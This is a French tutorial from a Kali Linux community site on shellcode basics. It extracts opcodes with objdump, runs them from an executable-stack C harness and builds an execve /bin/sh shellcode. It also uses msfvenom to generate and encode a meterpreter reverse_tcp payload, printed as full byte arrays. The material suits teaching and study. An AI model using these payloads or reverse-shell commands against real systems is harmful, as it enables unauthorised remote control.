Kali-linux distribution GNU/Linux spécialisée dans l'audit et le pentest.
Kali-linux.fr Communauté française de kali-linux


Un shellcode est une chaîne de caractères qui représente un code binaire exécutable. À l’origine destiné à lancer un shell (‘/bin/sh’ sous Unix ou command.com sous DOS et Microsoft Windows par exemple), le mot a évolué pour désigner tout code malveillant qui détourne un programme de son exécution normale.

https://fr.wikipedia.org/wiki/Shellcode

Sur ces jolis mots… Bienvenue sur ce tuto 🙂

Pour la suite des événements vous aurez besoin de quelques bases :

  • C/C++
  • Assembleur x86 (la syntaxe intel sera utilisée ici mais ça fonctionne aussi en AT&T)
  • Savoir ce servir d’un compilateur(ici GCC)
  • Savoir ce servir de GDB(optionnel)
  • Fonctionnement global des systèmes Linux 64 bits

Le but de ce tuto va être simplement de vous montrer les bases de l’utilisation et du fonctionnement des shellcodes, pour ce faire nous utiliseront des programmes simples et nous ne traiterons PAS les cas de buffer overflow et d’injection, qui feront l’objet de futur tutos.

Nous utiliserons pour ce tuto Kali linux donc un linux x86-64.

I) Opcodes en string…?

Comme vous avez pu le lire plus haut, (enfin normalement…) un shellcode est une chaîne de caractère qui représente du code exécutable et cela en hexadécimale la plupart du temps car plus simple pour nous pauvres humain, mais pour votre culture sachez que quelque soit l’encodage utilisé (binaire,hexadécimal…) il est théoriquement possible de le faire exécuter par votre machine.

Un shellcode ressemble donc à ça en hexadécimal:

"\xb0\x01\x31\xdb\xcd\x80" 

La normalement vous êtes en train de vous dire : « Ouais ok tu es bien sympa mais…. zfiuzifuzieufzeufhizpeuhf ».

Ne vous inquiétez pas ! on va y aller en douceur ! Pour commencer prenons un simple programme écris en Assembleur :

On compile en utilisant les commandes suivantes :

nasm -f elf64 hello.asm -o hello.o
ld -s -o hello hello.o

Lors de la compilation les instructions assembleurs pour faire simple sont transformées en OPCODES pour la machine cible.

Chaque instruction commence par un nombre appelé opcode (ou code opération) qui détermine la nature de l’instruction. Par exemple, pour les ordinateurs d’architecture x86, l’opcode 0x6A (en binaire 01101010) correspond à l’instruction push (ajouter une valeur en haut de la pile). Par conséquent, l’instruction 0x6A 0x14 (01101010 00010100) correspond à push 0x14 (ajouter la valeur hexadécimale 0x14 , ou 20 en décimal, en haut de la pile).

https://fr.wikipedia.org/wiki/Langage_machine#Opcode

Ainsi , à chaque opcode va correspondre une instruction assembleur, pour connaitre les opcodes de notre programme montré plus haut nous pouvons simplement utiliser la commande suivante :

objdump -d "programme"

Ce qui nous donne pour notre programme d’exemple :

Les opcodes dans notre exemple ci-dessus sont les valeurs hexadécimales de la deuxième colonne.

Pour récupérer l’ensemble de notre programme sous forme d’opcode au format héxadécimal il nous suffit de concaténer l’ensemble des opcodes présentes dans l’image ci-dessus grace à cette commande :

for i in $(objdump -d hello |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

Ce qui pour notre exemple nous donne:

\xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x0e\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x0a

« Oui c’est bien sympa mais c’est quoi le rapport avec les chaînes de caractères ? »

Et bien c’est très simple ! En se basant sur notre exemple il est possible de stocker ces opcodes sous forme de chaine de caractère.

Ce qui nous donne avec l’exemple précédent :

« \xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x0e\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x0a »

« D’accord ! Super ! Mais… j’en fais quoi de ça…? »

C’est la que ça se complique (quoi que…), il va falloir maintenant tester nos opcodes ! Et oui vous ne pensiez quand même pas qu’on aller s’arrêter la ?

Pour tester nos opcodes c’est très simple en fait (oui j’ai mentis et alors il faut bien faire monter le suspense !), nous allons utiliser un programme en C dans lequel nous allons pouvoir exécuter nos opcodes, en temps normal on utiliserai un programme ‘vulnérable’ pour l’exécuter, ici le programme est clairement fait pour exécuter le shellcode depuis la pile.

Ce programme de test le voici !

char code[] = "TOUTES NOS OPCODES VONT VENIR ICI";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

le code du programme est très simple à comprendre, on fourni une liste d’opcodes sous forme de string et ensuite on créer un pointeur vers une fonction qui va exécuter le contenu de la string (donc nos opcodes).

On remplace le contenu de la string avec nos opcodes comme cela :

//hello.c
char code[] = "\xeb\x1e\x5e\x48\x31\xc0\xb0\x01\x48\x89\xc7\x48\x89\xfa\x48\x83\xc2\x0e\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x0a";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

Il ne reste plus qu’a compiler pour tester :

gcc -fno-stack-protector -z execstack -o hello hello.c

P.S : on remarquera que l’on compile en autorisant le programme à exécuter directement le contenu de la pile puisque notre programme stock notre shellcode sur la stack puis on va créer un pointeur vers la stack pour l’exécuter directement, sans ces arguments le programme fera simplement un Segfault.

On test et POUF ! un Hello world 😀

2) Votre premier Shellcode

Bon c’est bien, vous avez normalement à peut prêt compris que l’on va créer des programme dont on récupère les opcodes pour les executer depuis la pile.

Maintenant nous allons passer au niveau supérieur en faisant un shellcode basique.

Pour se faire nous utiliseront le programme suivant qui effectue un simple appel système à execve avec pour paramètre ‘/bin/sh’ , ce qui aura pour effet de nous donner un shell :

;source : https://www.exploit-db.com/exploits/41750
global _start
        _start:
                mul esi
                push rax
                mov rdi, "/bin//sh"
                push rdi
                mov rdi, rsp
                mov al, 59
                syscall

On compile donc le programme comme tout à l’heure :

nasm -f elf64 shell.s -o shell.o
ld shell.o -o shell

On extrait les opcodes :

for i in $(objdump -d shell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo

On se retrouve donc avec le programme C suivant :

//shell.c

char code[] = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

On compile le programme en C avec :

gcc -fno-stack-protector -z execstack -o shell shell.c

On execute et POUF un shell ! Facile non ?

3) You’re Poison running through my veins…

Profitons de ce tuto pour voir un autre exemple, pour ce faire nous allons générer directement un shellcode à l’aide du fameux msfvenom !

Pour générer un shellcode qui exécutera un reverse_tcp sous linux avec msfvenom rien de plus simple il faut utiliser la commande suivante:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f <language>

Dans notre cas et pour que l’on ait la même base de travail on utilisera la commande suivante:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5631 -f c

Ce qui nous donne:

unsigned char buf[] = 
"\x6a\x0a\x5e\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89"
"\xe1\xcd\x80\x97\x5b\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xff"
"\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x85\xc0"
"\x79\x19\x4e\x74\x3d\x68\xa2\x00\x00\x00\x58\x6a\x00\x6a\x05"
"\x89\xe3\x31\xc9\xcd\x80\x85\xc0\x79\xbd\xeb\x27\xb2\x07\xb9"
"\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd"
"\x80\x85\xc0\x78\x10\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80"
"\x85\xc0\x78\x02\xff\xe1\xb8\x01\x00\x00\x00\xbb\x01\x00\x00"
"\x00\xcd\x80";

Si j’utilise msfvenom c’est pour illustrer quelque chose, en effet en regardant de plus près ce shellcode, on remarque que il y a beaucoup d’opcode « \x00 », ces opcodes sont appélés « nullbytes ».

Pour les besoins de ce tuto nous allons considérer que les nullbytes ne servent à rien sinon remplir le shellcode de vide, dans la réalité un nullbytes peut être simplement une fin de chaine ou même faire partie d’une instruction ou représenter une donnée et parfois même peut gêner l’exécution du shellcode. Pour supprimer les nullbytes facilement avec msfvenom il suffit juste d’ajouter l’option ‘-b’ de cette manière :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5631 -f c -b "\x00"

Ainsi msfvenom va nous donner un shellcode qui ne contiens pas les bytes « \x00 » :

unsigned char buf[] = 
"\xba\x36\xfe\xd0\xbb\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x1f\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\xc3\x94\xda\xe5"
"\x1a\xb2\x2c\xfa\x0f\x07\x80\x97\xad\x37\x40\xe1\x50\xfa\x0d"
"\x66\xc9\x6d\x71\x89\xed\x6c\xe5\x8b\xed\x7b\x0a\x02\x0c\xe9"
"\x92\x4d\x9e\xbf\x0d\xe7\xff\x03\x7f\x77\x7a\x43\x06\x61\xca"
"\x30\xc4\xf9\x70\xb8\x36\xfa\x2c\xd3\x36\x90\xc9\xaa\xd4\x55"
"\x18\x61\x9a\x13\x5a\x03\x26\xf0\x7d\x46\x5f\xbe\x81\xb6\x60"
"\xc0\x08\x55\xa1\x2b\x06\x5b\xc1\xa0\xa6\x26\xcb\x39\x43\x18"
"\xab\x29\x10\x10\xad\xd3\x10\x2e\x9e\xe7\x91\xaf\x5b\x27\x51"
"\xb2\x9c\x49\x19\xb3\x62\x8a\x59\x0f\x63\x8a\x59\x6f\xa9\x0a";

Et pouf ! plus de nullbytes !

Il nous reste plus qu’a tester ce shellcode avec notre programme favoris ! Comme ceci :

//cooper.c
unsigned char code[] = 
"\xba\x36\xfe\xd0\xbb\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x1f\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\xc3\x94\xda\xe5"
"\x1a\xb2\x2c\xfa\x0f\x07\x80\x97\xad\x37\x40\xe1\x50\xfa\x0d"
"\x66\xc9\x6d\x71\x89\xed\x6c\xe5\x8b\xed\x7b\x0a\x02\x0c\xe9"
"\x92\x4d\x9e\xbf\x0d\xe7\xff\x03\x7f\x77\x7a\x43\x06\x61\xca"
"\x30\xc4\xf9\x70\xb8\x36\xfa\x2c\xd3\x36\x90\xc9\xaa\xd4\x55"
"\x18\x61\x9a\x13\x5a\x03\x26\xf0\x7d\x46\x5f\xbe\x81\xb6\x60"
"\xc0\x08\x55\xa1\x2b\x06\x5b\xc1\xa0\xa6\x26\xcb\x39\x43\x18"
"\xab\x29\x10\x10\xad\xd3\x10\x2e\x9e\xe7\x91\xaf\x5b\x27\x51"
"\xb2\x9c\x49\x19\xb3\x62\x8a\x59\x0f\x63\x8a\x59\x6f\xa9\x0a";

int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

On compile comme d’habitude :

gcc -fno-stack-protector -z execstack -o cooper cooper.c

On exécute et….. Segfault.

« ZeR0 tu nous as dis que il fallait enlever les nullbytes et la ça marche plus, tu nous prendrais pas pour des pingouins de 3 jours ? »

Oui bon en fait il faut aussi préciser un truc…. les caractères non désirés ne sont pas forcément des nullbytes…. c’est également ce qui rend le shellcoding difficile, pour enlever tout les nullbytes et les ‘bad-chars’ de ce shellcode sans trop rentrer dans les détails pour pas vous perdre, nous allons procéder de manière simple en se concentrant sur seulement ces bad-chars les plus commun :

  • 00 -> NULL
  • 0A -> Nouvelle ligne ->\n
  • 0D -> Retour chariot -> \r
  • FF -> Saut de page ->\f

donc en utilisant msfvenom on adapte la commande comme ceci :

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5631 -f c -e x86/countdown

Voilà l’explication, en utilisant l’encodeur countdown il se charge pour nous d’enlever les bad-chars les plus communs , il est possible d’utiliser également le célèbre shikata_ga_nai mais je préfères utiliser countdown dans le cadre du shellcoding car il rajoute moins de caractères.

Nous voici donc avec ce programme C une fois le nouveau shellcode inséré :

//alice.c
unsigned char code[] = 
"\x6a\x7a\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07\xe2"
"\xfa\x6b\x08\x5d\x35\xde\xf1\xe4\x5b\x4a\x59\x61\x0e\xbd\x68"
"\x86\xf1\xdc\x92\x84\x4f\x7d\x69\x17\x18\x18\x72\x19\x1c\x08"
"\xe1\x96\xc1\x4b\x44\x7b\x74\x74\x71\xae\xc9\x6a\xe7\xab\xa9"
"\xed\x57\x36\x7e\x45\x0f\x5b\x96\x35\x36\x37\x60\x53\x3a\x51"
"\x39\xb4\xdd\x0e\x89\x8c\xc2\xc6\x84\x3c\xfb\xac\x6f\xfb\x4d"
"\xf2\x4c\x5d\x4e\x4f\xd9\xb2\x93\xb8\x58\x94\xb5\x5b\xe8\x24"
"\x97\xdb\xd9\x9d\x26\x4f\x3b\xe8\x83\xfa\xd2\x69\xd6\x64\xa5"
"\xe9\xef\xab\x14\x6f\x91\x8e\xc8\x70\x72\x73\x74\xce\x77\x77"
"\x78\x79\xb7\xfb";

int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

On compile une fois de plus :

gcc -fno-stack-protector -z execstack -o alice alice.c

On éxécute et… ça marche !

4) Shellcoding is an art ?

Vous aurez compris que créer des shellcodes , nécessite de coder en assembleur ou en C (ou de chercher directement les opcodes sur le net mais la….), la plus part du temps pour des cas d’utilisations réels dans le cadre de buffer overflow vous aurez besoin d’avoir des shellcodes d’une taille limitée voir précise !

En prenant déjà ça en compte il faut aussi remarquer que le shellcode dépend du système et de l’architecture de celui-ci , un shellcode qui fonctionne sous Linux x86-64 ne fonctionnera pas sous Windows x86-32 par exemple.

De plus, comme précisé dans la première citation de ce tuto, le but d’un shellcode n’est pas forcément de vous donner un shell, mais peut servir à bien d’autres choses…

Pour vous aider à obtenir les opcodes de vos instructions sous kali vous pouvez utiliser ce script :

ruby /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

Et je vous partage ce lien également qui vous permettra de trouver toutes les opcodes pour l’assembleur x86 :

http://ref.x86asm.net/

Et c’est ainsi que s’achève ce tuto ! J’espère qu’il vous aura montré le fonctionnement basique des shellcodes et vous donnera envie de poursuivre !

Merci et à bientôt !

ZeR0-@bSoLu


Leave a Comment

Time limit is exhausted. Please reload CAPTCHA.